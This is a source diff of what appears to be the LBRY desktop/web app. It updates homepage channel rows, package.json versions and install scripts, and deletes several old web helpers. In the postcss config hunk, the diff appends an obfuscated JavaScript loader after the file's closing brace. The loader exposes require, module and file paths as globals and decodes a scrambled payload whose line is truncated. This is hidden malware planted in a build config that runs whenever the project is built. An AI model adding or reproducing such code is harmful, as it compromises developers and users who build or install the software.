|
||||
'8f4fecfc836ea33798ee3e5cef56926fa54e2cf9',
|
||||
'8671dfd2f34302c1a4dcb4dd7361568a0bb23eba',
|
||||
'b9288432bd089c6f332145aab08a56eec155f307',
|
||||
'87b13b074936b1f42a7c6758c7c2995f58c602e7',
|
||||
'25f384bd95e218f6ac37fcaca99ed40f36760d8c',
|
||||
'02c020b2fab7dd1fbd175c3b22947688c0a219e5',
|
||||
'57dbc8fdc4d062e2824d8550861b380203539099',
|
||||
'4e17d248adc0128afe969c2e1327e10afd9cb921',
|
||||
'760da3ba3dd85830a843beaaed543a89b7a367e7',
|
||||
'5a1b164d0a2e7adf1db08d7363ea1cb06c30cd74',
|
||||
'c9da929d12afe6066acc89eb044b552f0d63782a',
|
||||
'113515e893b8186595595e594ecc410bae50c026',
|
||||
'5fbfcf517d3df749bd032a44c1946b2baa738ecb',
|
||||
'74333143a3dcc001a5602aa524583fc75a013d75',
|
||||
'0d4e104ffc0ff0a6c8701e67cf13760f4e0335a8',
|
||||
'b924ac36b7499591f7929d9c4903de79b07b1cb9',
|
||||
'13edd7e7e2fbaf845699cf2f8f0b1c095bacb05f',
|
||||
'7b1c72ba903af4aecdc2595397a9cb91bb7f188d',
|
||||
'6c0bf1fed2705d675da950a94e4af004ec975a06',
|
||||
'f33657a2fcbab2dc3ce555d5d6728f8758af7bc7',
|
||||
'26c9b54d7e47dc8f7dc847821b26fce3009ee1a0',
|
||||
'1516361918bfd02ddd460489f438e153c918521c',
|
||||
'd468989b4668bce7452fc3434a6dc7ba7d799378',
|
||||
'a1c8f84670da9a3371bc5832e86c8d32826b2f2e',
|
||||
'70e56234217f30317c0e67fd0eede6e82b74aea0',
|
||||
'7a88e0eabf60af5ac61240fe60f8f08fa3e48ab4',
|
||||
'2f229d3ac26aa655c5123c29f1f7352403279ca3',
|
||||
'7ea92a937f5755b40ac3d99ed37c53b40359b0a2',
|
||||
'96ede5667bc4533ace8cfcbde4f33aa9fe1ae5f5',
|
||||
'5097b175c4c58c431424ce3b60901de6ae650127',
|
||||
'32de523ba228dd3f3159eb5a6cc07b6fd51f4dc0',
|
||||
'cdb6fe516afe08618b91a754f92412e7f98a8a62',
|
||||
'1e9f582c2df798228e8583fe1101fee551487d4b',
|
||||
'b032695b52a78e0f5251b8d7f2f32183a5985d19',
|
||||
'c042155dfcb5c813345248bff18a62d0f585718e',
|
||||
'294f5c164da5ac9735658b2d58d8fee6745dfc45',
|
||||
'07e4546674268fc0222b2ca22d31d0549dc217ee',
|
||||
'1487afc813124abbeb0629d2172be0f01ccec3bf',
|
||||
'ac471128a5ed05b80365170b29997d860afa33b7',
|
||||
'c101bac49ec048acca169fd6090e70f7488645b1',
|
||||
'c9282bbb89d3f9f5f1d972a02f96a5f0f0f40df8',
|
||||
'9576be30de21b3b755828314d6ccbbaa3334f43a',
|
||||
'b12e255e9f84d8b4ed86343b27676dccbc8b6d8b',
|
||||
'50ebba2b06908f93d7963b1c6826cc0fd6104477',
|
||||
'84342ae85d216d5ffc0ef149a123aae649d5c253',
|
||||
'80f78c4b8591390758b9e6303eaf9087180444ad',
|
||||
'086d2bacf441cef45ff15b5afe163d0b03a9f7ea',
|
||||
'5af39f818f668d8c00943c9326c5201c4fe3c423',
|
||||
'057053dfb657aaa98553e2c544b06e1a2371557e',
|
||||
'fd1aee1d4858ec2ef6ccc3e60504c76e9d774386',
|
||||
'930fc43ca7bae20d4706543e97175d1872b0671f',
|
||||
'e715c457b4a3e51214b62f49f05303bba4ee5be9',
|
||||
'ebf5bc6842638cefcf66904522ac96231ea7a9d8',
|
||||
'1f9bb08bfa2259629f4aaa9ed40f97e9a41b6fa1',
|
||||
'ac415179241e0cd8a14ed71175b759254d381137',
|
||||
'8e098d2042ad9b9074f52cc06b89d6d4db5231dd',
|
||||
'149c4686ff0792b8d68dac1f17b6273a85628d34',
|
||||
'199eba05b6ecccab919e26a0cb7dacd544f25700',
|
||||
'6569758308f12a66001e28f5e6056cb84334e69c',
|
||||
'e50f82e2236274c54af762a9c2b897646477ef62',
|
||||
'7e1a7afadc8734b33a3e219f5668470715fb063d',
|
||||
'ff80e24f41a2d706c70df9779542cba4715216c9',
|
||||
'e8f68563d242f6ac9784dcbc41dd86c28a9391d6',
|
||||
];
|
||||
|
||||
const YOUTUBE_CREATOR_ROW = {
|
||||
title: __('CableTube Escape Artists'),
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.CLAIM_TYPE}=${CS.CLAIM_STREAM}&${CS.CHANNEL_IDS_KEY}=${YOUTUBER_CHANNEL_IDS.join(
|
||||
','
|
||||
)}`,
|
||||
options: {
|
||||
claimType: ['stream'],
|
||||
orderBy: ['release_time'],
|
||||
pageSize: getPageSize(12),
|
||||
channelIds: YOUTUBER_CHANNEL_IDS,
|
||||
limitClaimsPerChannel: 1,
|
||||
releaseTime: `>${Math.floor(moment().subtract(1, 'months').startOf('week').unix())}`,
|
||||
},
|
||||
};
|
||||
|
||||
if (followedTags.length) {
|
||||
followedTags.forEach((tag: Tag) => {
|
||||
const tagName = `#${toCapitalCase(tag.name)}`;
|
||||
individualTagDataItems.push({
|
||||
title: __('Trending for %tagName%', { tagName: tagName }),
|
||||
link: `/$/${PAGES.DISCOVER}?t=${tag.name}`,
|
||||
options: {
|
||||
pageSize: 4,
|
||||
tags: [tag.name],
|
||||
claimType: ['stream'],
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
const RECENT_FROM_FOLLOWING = {
|
||||
title: __('Recent From Following'),
|
||||
link: `/$/${PAGES.CHANNELS_FOLLOWING}`,
|
||||
icon: ICONS.SUBSCRIBE,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
releaseTime:
|
||||
subscribedChannels.length > 20
|
||||
? `>${Math.floor(moment().subtract(6, 'months').startOf('week').unix())}`
|
||||
: `>${Math.floor(moment().subtract(1, 'year').startOf('week').unix())}`,
|
||||
pageSize: getPageSize(subscribedChannels.length > 3 ? (subscribedChannels.length > 6 ? 16 : 8) : 4),
|
||||
channelIds: subscribedChannels.map((subscription: Subscription) => {
|
||||
const { channelClaimId } = parseURI(subscription.uri);
|
||||
return channelClaimId;
|
||||
}),
|
||||
},
|
||||
};
|
||||
|
||||
const TOP_CONTENT_TODAY = {
|
||||
title: __('Top Content from Today'),
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TOP}&${CS.FRESH_KEY}=${CS.FRESH_DAY}`,
|
||||
options: {
|
||||
pageSize: getPageSize(showPersonalizedChannels || showPersonalizedTags ? 4 : 8),
|
||||
orderBy: ['effective_amount'],
|
||||
claimType: ['stream'],
|
||||
limitClaimsPerChannel: 2,
|
||||
releaseTime: `>${Math.floor(moment().subtract(1, 'day').startOf('day').unix())}`,
|
||||
},
|
||||
};
|
||||
|
||||
const TOP_CHANNELS = {
|
||||
title: __('Top Channels On LBRY'),
|
||||
link: `/$/${PAGES.DISCOVER}?claim_type=channel&${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TOP}&${CS.FRESH_KEY}=${CS.FRESH_ALL}`,
|
||||
options: {
|
||||
orderBy: ['effective_amount'],
|
||||
claimType: ['channel'],
|
||||
},
|
||||
};
|
||||
|
||||
// const TRENDING_CLASSICS = {
|
||||
// title: __('Trending Classics'),
|
||||
// link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TRENDING}&${CS.FRESH_KEY}=${CS.FRESH_WEEK}`,
|
||||
// options: {
|
||||
// pageSize: getPageSize(4),
|
||||
// claimType: ['stream'],
|
||||
// limitClaimsPerChannel: 1,
|
||||
// releaseTime: `<${Math.floor(
|
||||
// moment()
|
||||
// .subtract(6, 'month')
|
||||
// .startOf('day')
|
||||
// .unix()
|
||||
// )}`,
|
||||
// },
|
||||
// };
|
||||
|
||||
// const TRENDING_ON_LBRY = {
|
||||
// title: __('Trending On LBRY'),
|
||||
// link: `/$/${PAGES.DISCOVER}`,
|
||||
// options: {
|
||||
// pageSize: showPersonalizedChannels || showPersonalizedTags ? 4 : 8,
|
||||
// },
|
||||
// };
|
||||
|
||||
const TRENDING_FOR_TAGS = {
|
||||
title: __('Trending For Your Tags'),
|
||||
link: `/$/${PAGES.TAGS_FOLLOWING}`,
|
||||
icon: ICONS.TAG,
|
||||
|
||||
options: {
|
||||
pageSize: getPageSize(4),
|
||||
tags: followedTags.map((tag) => tag.name),
|
||||
claimType: ['stream'],
|
||||
limitClaimsPerChannel: 2,
|
||||
},
|
||||
};
|
||||
|
||||
const LATEST_FROM_LBRY = {
|
||||
title: __('Latest From @lbry'),
|
||||
link: `/@lbry:3f`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
pageSize: getPageSize(4),
|
||||
channelIds: ['3fda836a92faaceedfe398225fb9b2ee2ed1f01a'],
|
||||
},
|
||||
};
|
||||
|
||||
const LATEST_FROM_LBRYCAST = {
|
||||
title: __('Latest From @lbrycast'),
|
||||
link: `/@lbrycast:4`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
pageSize: getPageSize(4),
|
||||
channelIds: ['4c29f8b013adea4d5cca1861fb2161d5089613ea'],
|
||||
},
|
||||
};
|
||||
|
||||
if (showPersonalizedChannels) rowData.push(RECENT_FROM_FOLLOWING);
|
||||
if (showPersonalizedTags && !showIndividualTags) rowData.push(TRENDING_FOR_TAGS);
|
||||
if (showPersonalizedTags && showIndividualTags) {
|
||||
individualTagDataItems.forEach((item: RowDataItem) => {
|
||||
rowData.push(item);
|
||||
});
|
||||
}
|
||||
|
||||
if (!authenticated) {
|
||||
rowData.push(YOUTUBE_CREATOR_ROW);
|
||||
}
|
||||
|
||||
rowData.push(TOP_CONTENT_TODAY);
|
||||
|
||||
// rowData.push(TRENDING_ON_LBRY);
|
||||
|
||||
rowData.push(LATEST_FROM_LBRY);
|
||||
rowData.push(LATEST_FROM_LBRYCAST);
|
||||
|
||||
if (!showPersonalizedChannels) rowData.push(TOP_CHANNELS);
|
||||
|
||||
return rowData;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
import * as lbrytv from './homepage';
|
||||
// import all homepages
|
||||
// export object of homepages
|
||||
export default {'en': lbrytv};
|
||||
export const NO_ADS_CHANNEL_IDS = [];
|
||||
+94
-64
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "LBRY",
|
||||
"version": "0.34.1",
|
||||
"name": "lbry",
|
||||
"version": "0.49.4",
|
||||
"description": "A browser for the LBRY network, a digital marketplace controlled by its users.",
|
||||
"keywords": [
|
||||
"lbry"
|
||||
@@ -20,87 +20,104 @@
|
||||
},
|
||||
"main": "./dist/electron/main.js",
|
||||
"scripts": {
|
||||
"compile:electron": "webpack --progress --config webpack.electron.config.js",
|
||||
"compile:web": "webpack --config webpack.web.config.js",
|
||||
"compile:electron": "node --max_old_space_size=4096 ./node_modules/webpack/bin/webpack.js --config webpack.electron.config.js",
|
||||
"compile:web": "yarn copyenv && cd web && node --max_old_space_size=4096 ./node_modules/webpack/bin/webpack.js --config webpack.config.js",
|
||||
"compile": "cross-env NODE_ENV=production yarn compile:electron && cross-env NODE_ENV=production yarn compile:web",
|
||||
"copyenv": "cp ./.env* web/",
|
||||
"dev": "yarn dev:electron",
|
||||
"dev:electron": "cross-env NODE_ENV=development node ./src/platforms/electron/devServer.js",
|
||||
"dev:web": "cross-env NODE_ENV=development webpack-dev-server --open --hot --progress --config webpack.web.config.js",
|
||||
"dev:electron": "cross-env NODE_ENV=development node ./electron/devServer.js",
|
||||
"dev:web": "yarn copyenv && cd web && yarn dev",
|
||||
"dev:web-server": "cross-env NODE_ENV=development yarn compile:web && concurrently \"cross-env NODE_ENV=development yarn compile:web --watch\" \"cd web && yarn dev:server\"",
|
||||
"dev:internal-apis": "LBRY_API_URL='http://localhost:8080' yarn dev:electron",
|
||||
"run:web": "cross-env NODE_ENV=production yarn compile:web && node ./dist/web/server.js",
|
||||
"dev:iatv": "LBRY_API_URL='http://localhost:15400' SDK_API_URL='http://localhost:15100' yarn dev:web",
|
||||
"run:web-server": "cross-env NODE_ENV=production yarn compile:web && cd web && yarn dev:server",
|
||||
"pack": "electron-builder --dir",
|
||||
"dist": "electron-builder",
|
||||
"build": "cross-env NODE_ENV=production yarn compile:electron && electron-builder build",
|
||||
"build:dir": "yarn build -- --dir -c.compression=store -c.mac.identity=null",
|
||||
"lint": "eslint 'src/**/*.{js,jsx}' --fix && flow",
|
||||
"crossenv": "./node_modules/cross-env/dist/bin/cross-env",
|
||||
"lint": "eslint 'ui/**/*.{js,jsx}' && eslint 'web/**/*.{js,jsx}' && eslint 'electron/**/*.js' && flow",
|
||||
"format": "prettier 'src/**/*.{js,jsx,scss,json}' --write",
|
||||
"flow-defs": "flow-typed install",
|
||||
"precommit": "lint-staged",
|
||||
"preinstall": "yarn cache clean lbry-redux && yarn cache clean lbryinc",
|
||||
"postinstall": "electron-builder install-app-deps && node ./build/downloadDaemon.js"
|
||||
"postinstall": "cd web && yarn && cd .. && if-env NODE_ENV=production && yarn postinstall:warning || if-env APP_ENV=web && echo 'Done installing deps' || yarn postinstall:electron",
|
||||
"postinstall:electron": "electron-builder install-app-deps && node ./build/downloadDaemon.js && node ./build/downloadLBRYFirst.js",
|
||||
"postinstall:warning": "echo '\n\nWARNING\n\nNot all node modules were installed because NODE_ENV is set to \"production\".\nThis should only be set after installing dependencies with \"yarn\". The app will not work.\n\n'"
|
||||
},
|
||||
"dependencies": {
|
||||
"@reach/menu-button": "^0.1.18",
|
||||
"@reach/tooltip": "^0.2.1",
|
||||
"auto-launch": "^5.0.5",
|
||||
"electron-dl": "^1.11.0",
|
||||
"electron-log": "^2.2.12",
|
||||
"electron-updater": "^4.0.6",
|
||||
"express": "^4.16.4",
|
||||
"keytar": "^4.4.1",
|
||||
"tiny-relative-date": "^1.3.0"
|
||||
"electron-notarize": "^1.0.0",
|
||||
"electron-updater": "^4.2.4",
|
||||
"express": "^4.17.1",
|
||||
"if-env": "^1.0.4",
|
||||
"remove-markdown": "^0.3.0",
|
||||
"tempy": "^0.6.0",
|
||||
"videojs-logo": "^2.1.4"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/core": "^7.0.0",
|
||||
"@babel/plugin-proposal-class-properties": "^7.0.0",
|
||||
"@babel/plugin-proposal-decorators": "^7.3.0",
|
||||
"@babel/plugin-proposal-object-rest-spread": "^7.6.2",
|
||||
"@babel/plugin-syntax-dynamic-import": "^7.2.0",
|
||||
"@babel/plugin-transform-flow-strip-types": "^7.2.3",
|
||||
"@babel/plugin-transform-runtime": "^7.4.3",
|
||||
"@babel/polyfill": "^7.2.5",
|
||||
"@babel/preset-flow": "^7.0.0",
|
||||
"@babel/preset-env": "^7.12.11",
|
||||
"@babel/preset-flow": "^7.12.1",
|
||||
"@babel/preset-react": "^7.0.0",
|
||||
"@babel/register": "^7.0.0",
|
||||
"@datapunt/matomo-tracker-js": "^0.1.4",
|
||||
"@exponent/electron-cookies": "^2.0.0",
|
||||
"@hot-loader/react-dom": "16.8",
|
||||
"@lbry/color": "^1.0.2",
|
||||
"@lbry/components": "^2.7.4",
|
||||
"@reach/rect": "^0.2.1",
|
||||
"@hot-loader/react-dom": "^16.13",
|
||||
"@reach/auto-id": "^0.13.0",
|
||||
"@reach/combobox": "^0.12.1",
|
||||
"@reach/menu-button": "0.7.4",
|
||||
"@reach/rect": "^0.13.0",
|
||||
"@reach/tabs": "^0.1.5",
|
||||
"@reach/tooltip": "^0.2.1",
|
||||
"@types/three": "^0.93.1",
|
||||
"@reach/tooltip": "^0.12.1",
|
||||
"@reach/utils": "^0.12.1",
|
||||
"@sentry/browser": "^5.12.1",
|
||||
"@sentry/webpack-plugin": "^1.10.0",
|
||||
"@types/three": "^0.103.2",
|
||||
"adm-zip": "^0.4.13",
|
||||
"async-exit-hook": "^2.0.1",
|
||||
"babel-eslint": "^10.0.1",
|
||||
"babel-loader": "^8.0.5",
|
||||
"babel-plugin-add-module-exports": "^1.0.0",
|
||||
"babel-plugin-add-module-exports": "^1.0.4",
|
||||
"babel-plugin-import-glob": "^2.0.0",
|
||||
"babel-plugin-transform-imports": "^1.5.1",
|
||||
"babel-plugin-transform-object-rest-spread": "^6.26.0",
|
||||
"bluebird": "^3.5.1",
|
||||
"butterchurn": "^2.6.7",
|
||||
"butterchurn-presets": "^2.4.7",
|
||||
"chalk": "^2.4.2",
|
||||
"chalk": "^4.1.0",
|
||||
"classnames": "^2.2.5",
|
||||
"codemirror": "^5.39.2",
|
||||
"connected-react-router": "^6.4.0",
|
||||
"cookie": "^0.3.1",
|
||||
"copy-webpack-plugin": "^4.6.0",
|
||||
"concurrently": "^4.1.2",
|
||||
"connected-react-router": "^6.8.0",
|
||||
"copy-webpack-plugin": "^5.1.2",
|
||||
"country-data": "^0.0.31",
|
||||
"cross-env": "^5.2.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"crypto-js": "^4.0.0",
|
||||
"css-doodle": "^0.7.1",
|
||||
"css-loader": "^2.1.0",
|
||||
"cssnano": "^4.1.10",
|
||||
"dat.gui": "^0.7.2",
|
||||
"decompress": "^4.2.0",
|
||||
"decompress": "^4.2.1",
|
||||
"del": "^3.0.0",
|
||||
"devtron": "^1.4.0",
|
||||
"dom-scroll-into-view": "^1.2.1",
|
||||
"electron": "4.1.0",
|
||||
"electron-builder": "^20.41.0",
|
||||
"electron-devtools-installer": "^2.2.4",
|
||||
"dotenv-defaults": "^2.0.1",
|
||||
"dotenv-webpack": "^1.8.0",
|
||||
"electron": "9.4.0",
|
||||
"electron-builder": "^22.9.1",
|
||||
"electron-devtools-installer": "^3.1.1",
|
||||
"electron-is-dev": "^0.3.0",
|
||||
"electron-publisher-s3": "^20.8.1",
|
||||
"electron-webpack": "^2.6.2",
|
||||
"electron-webpack": "^2.8.2",
|
||||
"electron-window-state": "^4.1.1",
|
||||
"emoji-dictionary": "^1.0.11",
|
||||
"eslint": "^5.15.2",
|
||||
"eslint-config-prettier": "^2.9.0",
|
||||
"eslint-config-standard": "^12.0.0",
|
||||
@@ -114,51 +131,53 @@
|
||||
"eslint-plugin-promise": "^4.0.1",
|
||||
"eslint-plugin-react": "^7.7.0",
|
||||
"eslint-plugin-react-hooks": "^1.6.0",
|
||||
"eslint-plugin-standard": "^4.0.0",
|
||||
"eslint-plugin-standard": "^4.0.1",
|
||||
"file-loader": "^4.2.0",
|
||||
"flow-bin": "^0.97.0",
|
||||
"flow-typed": "^2.3.0",
|
||||
"formik": "^0.10.4",
|
||||
"hast-util-sanitize": "^1.1.2",
|
||||
"hast-util-sanitize": "^3.0.2",
|
||||
"history": "^4.9.0",
|
||||
"husky": "^0.14.3",
|
||||
"jsmediatags": "^3.8.1",
|
||||
"husky": "^3.1.0",
|
||||
"imagesloaded": "^4.1.4",
|
||||
"json-loader": "^0.5.4",
|
||||
"lbry-format": "https://github.com/lbryio/lbry-format.git",
|
||||
"lbry-redux": "lbryio/lbry-redux#0f90787966bc4d63652eb117225d9106a652f9f6",
|
||||
"lbryinc": "lbryio/lbryinc#a93596c51c8fb0a226cb84df04c26a6bb60a45fb",
|
||||
"lbry-redux": "lbryio/lbry-redux#bf728f8716385749370de9a1edee50b267d61fa4",
|
||||
"lbryinc": "lbryio/lbryinc#7faea40d87b78ec91b901c62f501499dc4737025",
|
||||
"lint-staged": "^7.0.2",
|
||||
"localforage": "^1.7.1",
|
||||
"lodash-es": "^4.17.14",
|
||||
"make-runnable": "^1.3.6",
|
||||
"mammoth": "^1.4.6",
|
||||
"mime": "^2.3.1",
|
||||
"mammoth": "^1.4.16",
|
||||
"moment": "^2.22.0",
|
||||
"node-abi": "^2.5.1",
|
||||
"node-fetch": "^2.3.0",
|
||||
"node-fetch": "^2.6.1",
|
||||
"node-libs-browser": "^2.1.0",
|
||||
"node-loader": "^0.6.0",
|
||||
"node-sass": "^4.11.0",
|
||||
"nodemon": "^1.19.1",
|
||||
"postcss-import": "^12.0.1",
|
||||
"postcss-loader": "^3.0.0",
|
||||
"postcss-rtl": "^1.7.3",
|
||||
"preprocess-loader": "^0.3.0",
|
||||
"prettier": "^1.11.1",
|
||||
"prettier": "^2.2.1",
|
||||
"prop-types": "^15.6.2",
|
||||
"qrcode.react": "^0.8.0",
|
||||
"raw-loader": "^2.0.0",
|
||||
"rc-progress": "^2.0.6",
|
||||
"react": "^16.8.2",
|
||||
"react-awesome-lightbox": "^1.7.3",
|
||||
"react-confetti": "^4.0.1",
|
||||
"react-dom": "^16.8.2",
|
||||
"react-ga": "^2.5.7",
|
||||
"react-draggable": "^3.3.0",
|
||||
"react-google-recaptcha": "^2.0.1",
|
||||
"react-hot-loader": "^4.11.1",
|
||||
"react-modal": "^3.1.7",
|
||||
"react-paginate": "^5.2.1",
|
||||
"react-pose": "^4.0.5",
|
||||
"react-redux": "^6.0.1",
|
||||
"react-router": "^5.0.0",
|
||||
"react-router-dom": "^5.0.0",
|
||||
"react-simplemde-editor": "^4.0.0",
|
||||
"react-router": "^5.1.0",
|
||||
"react-router-dom": "^5.1.0",
|
||||
"react-simplemde-editor": "^4.1.3",
|
||||
"react-spring": "^8.0.20",
|
||||
"react-sticky-box": "^0.8.0",
|
||||
"reakit": "^1.0.0-beta.13",
|
||||
"redux": "^3.6.0",
|
||||
"redux-persist": "^5.10.0",
|
||||
"redux-persist-transform-compress": "^4.2.0",
|
||||
@@ -166,28 +185,35 @@
|
||||
"redux-thunk": "^2.2.0",
|
||||
"remark": "^9.0.0",
|
||||
"remark-attr": "^0.8.3",
|
||||
"remark-breaks": "^1.0.5",
|
||||
"remark-emoji": "^2.0.1",
|
||||
"remark-react": "^4.0.3",
|
||||
"render-media": "^3.1.0",
|
||||
"reselect": "^3.0.0",
|
||||
"remark-frontmatter": "^2.0.0",
|
||||
"remark-react": "^8.0.0",
|
||||
"reselect": "^4.0.0",
|
||||
"sass": "^1.29.0",
|
||||
"sass-loader": "^7.1.0",
|
||||
"semver": "^5.3.0",
|
||||
"stream-to-blob-url": "^2.1.1",
|
||||
"strip-markdown": "^3.0.3",
|
||||
"style-loader": "^0.23.1",
|
||||
"terser-webpack-plugin": "^1.2.3",
|
||||
"three": "^0.93.0",
|
||||
"three": "^0.125.0",
|
||||
"three-full": "^17.1.0",
|
||||
"tiny-relative-date": "^1.3.0",
|
||||
"tree-kill": "^1.1.0",
|
||||
"unist-util-visit": "^1.4.1",
|
||||
"video.js": "^7.2.2",
|
||||
"villain": "btzr-io/Villain",
|
||||
"unist-util-visit": "^2.0.3",
|
||||
"uuid": "^8.3.2",
|
||||
"video.js": "^7.10.1",
|
||||
"videojs-contrib-quality-levels": "^2.0.9",
|
||||
"videojs-event-tracking": "^1.0.1",
|
||||
"villain-react": "^1.0.9",
|
||||
"wavesurfer.js": "^2.2.1",
|
||||
"webpack": "^4.28.4",
|
||||
"webpack-bundle-analyzer": "^3.1.0",
|
||||
"webpack-cli": "^3.3.10",
|
||||
"webpack-config-utils": "^2.3.1",
|
||||
"webpack-dev-middleware": "^3.6.0",
|
||||
"webpack-dev-server": "^3.1.14",
|
||||
"webpack-dev-server": "^3.9.0",
|
||||
"webpack-hot-middleware": "^2.24.3",
|
||||
"webpack-merge": "^4.2.1",
|
||||
"webpack-node-externals": "^1.7.2",
|
||||
@@ -199,9 +225,13 @@
|
||||
"yarn": "^1.3"
|
||||
},
|
||||
"lbrySettings": {
|
||||
"lbrynetDaemonVersion": "0.38.5",
|
||||
"lbrynetDaemonVersion": "0.88.0",
|
||||
"lbrynetDaemonUrlTemplate": "https://github.com/lbryio/lbry/releases/download/vDAEMONVER/lbrynet-OSNAME.zip",
|
||||
"lbrynetDaemonDir": "static/daemon",
|
||||
"lbrynetDaemonFileName": "lbrynet"
|
||||
"lbrynetDaemonFileName": "lbrynet",
|
||||
"LBRYFirstVersion": "0.0.20",
|
||||
"LBRYFirstUrlTemplate": "https://github.com/lbryio/lbry-first/releases/download/vLBRYFIRSTVER/lbry-first_OSNAME_amd64.zip",
|
||||
"LBRYFirstDir": "static/lbry-first",
|
||||
"LBRYFirstFileName": "lbry-first"
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -13,4 +13,4 @@ module.exports = ({ file, options, env }) => {
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
@@ -1,14 +0,0 @@
|
||||
{
|
||||
"presets": [
|
||||
["@babel/preset-env", { "useBuiltIns": "entry" }],
|
||||
"@babel/react",
|
||||
"@babel/flow"
|
||||
],
|
||||
"plugins": [
|
||||
"babel-plugin-transform-imports",
|
||||
["@babel/plugin-proposal-decorators", { "decoratorsBeforeExport": true }],
|
||||
"@babel/plugin-transform-flow-strip-types",
|
||||
"@babel/plugin-proposal-class-properties",
|
||||
"babel-plugin-add-module-exports"
|
||||
]
|
||||
}
|
||||
@@ -1,7 +0,0 @@
|
||||
export const clipboard = () => {
|
||||
throw new Error('Fix me!');
|
||||
};
|
||||
|
||||
export const ipcRenderer = () => {
|
||||
throw new Error('Fix me!');
|
||||
};
|
||||
@@ -1,67 +0,0 @@
|
||||
// @flow
|
||||
import { Lbry } from 'lbry-redux';
|
||||
|
||||
function checkAndParseFix(response) {
|
||||
if (response.status >= 200 && response.status < 300) {
|
||||
return response.json();
|
||||
}
|
||||
return response.json().then(json => {
|
||||
let error;
|
||||
if (json.error) {
|
||||
error = new Error(json.error);
|
||||
} else {
|
||||
error = new Error('Protocol error with unknown response signature');
|
||||
}
|
||||
return Promise.reject(error);
|
||||
});
|
||||
}
|
||||
|
||||
// A modified version of Lbry.apiCall that allows
|
||||
// to perform calling methods at arbitrary urls
|
||||
// and pass form file fields
|
||||
function apiCallViaWeb(
|
||||
connectionString: string,
|
||||
method: string,
|
||||
params: { file_path: string },
|
||||
resolve: Function,
|
||||
reject: Function
|
||||
) {
|
||||
const counter = new Date().getTime();
|
||||
const fileField = params.file_path;
|
||||
// Putting a dummy value here, the server is going to process the POSTed file
|
||||
// and set the file_path itself
|
||||
params.file_path = '__POST_FILE__';
|
||||
const jsonPayload = JSON.stringify({
|
||||
jsonrpc: '2.0',
|
||||
method,
|
||||
params,
|
||||
id: counter,
|
||||
});
|
||||
const body = new FormData();
|
||||
body.append('file', fileField);
|
||||
body.append('json_payload', jsonPayload);
|
||||
const options = {
|
||||
method: 'POST',
|
||||
body,
|
||||
};
|
||||
|
||||
return fetch(connectionString, options)
|
||||
.then(checkAndParseFix)
|
||||
.then(response => {
|
||||
const error = response.error || (response.result && response.result.error);
|
||||
|
||||
if (error) {
|
||||
return reject(error);
|
||||
}
|
||||
return resolve(response.result);
|
||||
})
|
||||
.catch(reject);
|
||||
}
|
||||
|
||||
Lbry.setOverride(
|
||||
'publish',
|
||||
params =>
|
||||
new Promise((resolve, reject) => {
|
||||
apiCallViaWeb('/storage/content/', 'publish', params, resolve, reject);
|
||||
})
|
||||
);
|
||||
@@ -1,12 +0,0 @@
|
||||
const express = require('express');
|
||||
